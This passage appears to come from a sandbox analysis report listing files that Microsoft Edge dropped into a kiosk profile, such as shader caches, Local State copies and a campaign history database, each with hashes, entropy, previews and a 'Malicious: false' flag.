SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlX/:Ls3X
MD5:	49AA625CB276170F4789E08A8F5E20BC
SHA1:	3CC7AE6146CE4539EC8A746A317361F9A6B3C9DB
SHA-256:	2921C9904D18AD10D13D5B34F3942FCF0F21C8931689BDC5BD5EAFE44B09754D
SHA-512:	2C7B60BDC361A193A0775B1229662423DACC64A4FEBDC0B33AEF92E81AE2AA765DA5996D475B37269FD933D99054A02F80DB918C9363F41F9B82D79DE8F7DAFB
Malicious:	false
Preview:	..........................................}_../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlnll:Ls3nl
MD5:	B814F9C1D5956EAA0974D0EF736473AD
SHA1:	B76CA31011797F637289EA94C946A24B2EDFE5B4
SHA-256:	5C850D9191AC32834E13928AED02C704FEC34CD3533E3E4A7FAF054A8B650A74
SHA-512:	9BD08D109D2354513A2D6C327306470D22B728BD852FA65270E32649336D2B255A6F65FD51D9553BCBF79AF4EB6369DC18BBB7CDEC7CB73A3D556E06BA165E43
Malicious:	false
Preview:	........................................O.}_../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.529282045978505
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtH1hbyr6VGy+51IpyikiHJdXBuBuwBbabjNhuiXiYJQQRCYfYg:YuBqDPafNXFp+51elgBzBbwuiCB0
MD5:	1CB87A6046B2707FF50C5ECCA489442A
SHA1:	489C823AC81346E60FAFDD1358DB6B29E4D74EDE
SHA-256:	B7C5552B0AF056C3D9EA72196144960A73249C167DEA8CC6678BC30CBAC16D82
SHA-512:	5F0AD7F238984D8F9085848795CAA48E087EEFF84AC269C034603A7A948280ABD7F00D53009C582668313FB6F098093387E33168A7A4C3BEE0CA94FA98E8E147
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"profile":{"info_cache":{},"profile_counts_reported":"13369620611838534","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725147011"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF4394c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.529282045978505
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtH1hbyr6VGy+51IpyikiHJdXBuBuwBbabjNhuiXiYJQQRCYfYg:YuBqDPafNXFp+51elgBzBbwuiCB0
MD5:	1CB87A6046B2707FF50C5ECCA489442A
SHA1:	489C823AC81346E60FAFDD1358DB6B29E4D74EDE
SHA-256:	B7C5552B0AF056C3D9EA72196144960A73249C167DEA8CC6678BC30CBAC16D82
SHA-512:	5F0AD7F238984D8F9085848795CAA48E087EEFF84AC269C034603A7A948280ABD7F00D53009C582668313FB6F098093387E33168A7A4C3BEE0CA94FA98E8E147
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"profile":{"info_cache":{},"profile_counts_reported":"13369620611838534","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725147011"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF4395c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.529282045978505
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtH1hbyr6VGy+51IpyikiHJdXBuBuwBbabjNhuiXiYJQQRCYfYg:YuBqDPafNXFp+51elgBzBbwuiCB0
MD5:	1CB87A6046B2707FF50C5ECCA489442A
SHA1:	489C823AC81346E60FAFDD1358DB6B29E4D74EDE
SHA-256:	B7C5552B0AF056C3D9EA72196144960A73249C167DEA8CC6678BC30CBAC16D82
SHA-512:	5F0AD7F238984D8F9085848795CAA48E087EEFF84AC269C034603A7A948280ABD7F00D53009C582668313FB6F098093387E33168A7A4C3BEE0CA94FA98E8E147
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"profile":{"info_cache":{},"profile_counts_reported":"13369620611838534","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725147011"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF43dff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.529282045978505
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtH1hbyr6VGy+51IpyikiHJdXBuBuwBbabjNhuiXiYJQQRCYfYg:YuBqDPafNXFp+51elgBzBbwuiCB0
MD5:	1CB87A6046B2707FF50C5ECCA489442A
SHA1:	489C823AC81346E60FAFDD1358DB6B29E4D74EDE
SHA-256:	B7C5552B0AF056C3D9EA72196144960A73249C167DEA8CC6678BC30CBAC16D82
SHA-512:	5F0AD7F238984D8F9085848795CAA48E087EEFF84AC269C034603A7A948280ABD7F00D53009C582668313FB6F098093387E33168A7A4C3BEE0CA94FA98E8E147
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"profile":{"info_cache":{},"profile_counts_reported":"13369620611838534","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725147011"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF43e1e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.529282045978505
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtH1hbyr6VGy+51IpyikiHJdXBuBuwBbabjNhuiXiYJQQRCYfYg:YuBqDPafNXFp+51elgBzBbwuiCB0
MD5:	1CB87A6046B2707FF50C5ECCA489442A
SHA1:	489C823AC81346E60FAFDD1358DB6B29E4D74EDE
SHA-256:	B7C5552B0AF056C3D9EA72196144960A73249C167DEA8CC6678BC30CBAC16D82
SHA-512:	5F0AD7F238984D8F9085848795CAA48E087EEFF84AC269C034603A7A948280ABD7F00D53009C582668313FB6F098093387E33168A7A4C3BEE0CA94FA98E8E147
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"profile":{"info_cache":{},"profile_counts_reported":"13369620611838534","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725147011"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF4653e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.529282045978505
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtH1hbyr6VGy+51IpyikiHJdXBuBuwBbabjNhuiXiYJQQRCYfYg:YuBqDPafNXFp+51elgBzBbwuiCB0
MD5:	1CB87A6046B2707FF50C5ECCA489442A
SHA1:	489C823AC81346E60FAFDD1358DB6B29E4D74EDE
SHA-256:	B7C5552B0AF056C3D9EA72196144960A73249C167DEA8CC6678BC30CBAC16D82
SHA-512:	5F0AD7F238984D8F9085848795CAA48E087EEFF84AC269C034603A7A948280ABD7F00D53009C582668313FB6F098093387E33168A7A4C3BEE0CA94FA98E8E147
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"profile":{"info_cache":{},"profile_counts_reported":"13369620611838534","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725147011"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF4a3ed.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.529282045978505
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtH1hbyr6VGy+51IpyikiHJdXBuBuwBbabjNhuiXiYJQQRCYfYg:YuBqDPafNXFp+51elgBzBbwuiCB0
MD5:	1CB87A6046B2707FF50C5ECCA489442A
SHA1:	489C823AC81346E60FAFDD1358DB6B29E4D74EDE
SHA-256:	B7C5552B0AF056C3D9EA72196144960A73249C167DEA8CC6678BC30CBAC16D82
SHA-512:	5F0AD7F238984D8F9085848795CAA48E087EEFF84AC269C034603A7A948280ABD7F00D53009C582668313FB6F098093387E33168A7A4C3BEE0CA94FA98E8E147
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"profile":{"info_cache":{},"profile_counts_reported":"13369620611838534","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725147011"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl1r:Ls3
MD5:	ADB00E958027DA7585025672EEED611A
SHA1:	F21B00B074E8A4CD04B2793DB750EF0A062D1D2B
SHA-256:	58CC05B13BE30C8C26480356148AB58766BFB5D02E523B3D6D900C17F100457B
